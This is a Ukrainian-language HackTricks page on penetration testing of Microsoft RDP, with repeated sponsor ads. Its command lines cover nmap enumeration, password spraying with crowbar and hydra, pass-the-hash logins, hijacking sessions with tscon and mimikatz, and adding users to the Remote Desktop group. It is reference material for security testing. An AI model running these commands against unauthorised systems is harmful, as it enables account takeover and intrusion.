hacktricks/network-services-pentesting/pentesting-rdp.md

13 KiB
Raw Blame History

3389 - Pentesting RDP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Миттєво доступна установка для оцінки вразливостей та пенетестації. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Основна інформація

Розроблений компанією Microsoft, Протокол віддаленого робочого столу (RDP) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта RDP, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера RDP. Ця установка дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача.

Порт за замовчуванням: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Перерахування

Автоматичне

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).

Брутфорс

Будьте обережні, ви можете заблокувати облікові записи

Розпилення паролів

Будьте обережні, ви можете заблокувати облікові записи

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Підключення з відомими обліковими даними/хешем

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Перевірка відомих облікових даних на сервісах RDP

rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:

rdp_check <domain>/<name>:<password>@<IP>

Миттєво доступна налаштування для оцінки вразливостей та пентестингу. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та отримання задоволення.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Атаки

Вкрадення сесій

З дозволами SYSTEM ви можете отримати доступ до будь-якої відкритої RDP сесії будь-якого користувача без необхідності знати пароль власника.

Отримати відкриті сесії:

query user

Доступ до вибраної сесії

tscon <ID> /dest:<SESSIONNAME>

Тепер ви будете всередині вибраної RDP-сесії і вам потрібно буде видати себе за користувача, використовуючи лише інструменти та функції Windows.

Важливо: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який їх використовував.

Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші RDP-сесії, відкриті на інших машинах...)

Mimikatz

Ви також можете використовувати mimikatz для цього:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Поєднуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.

Ви можете шукати RDP, які були зламані за допомогою однієї з цих технік, за адресою: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Якщо хтось з іншого домену або з кращими привілеями входить через RDP на ПК, де ви є адміністратором, ви можете впровадити свій маяк у його процес RDP-сесії і діяти як він:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn - це фреймворк після експлуатації, створений у Powershell, призначений в основному для автоматизації атаки Shadow на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди, а також контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.

  • EvilRDP
  • Контролюйте мишу та клавіатуру автоматизованим способом з командного рядка
  • Контролюйте буфер обміну автоматизованим способом з командного рядка
  • Створіть SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP
  • Виконуйте довільні команди SHELL та PowerShell на цілі без завантаження файлів
  • Завантажуйте та завантажуйте файли до/з цілі, навіть коли передача файлів на цілі вимкнена

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Миттєво доступна налаштування для оцінки вразливостей та пенетестингу. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетесторів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}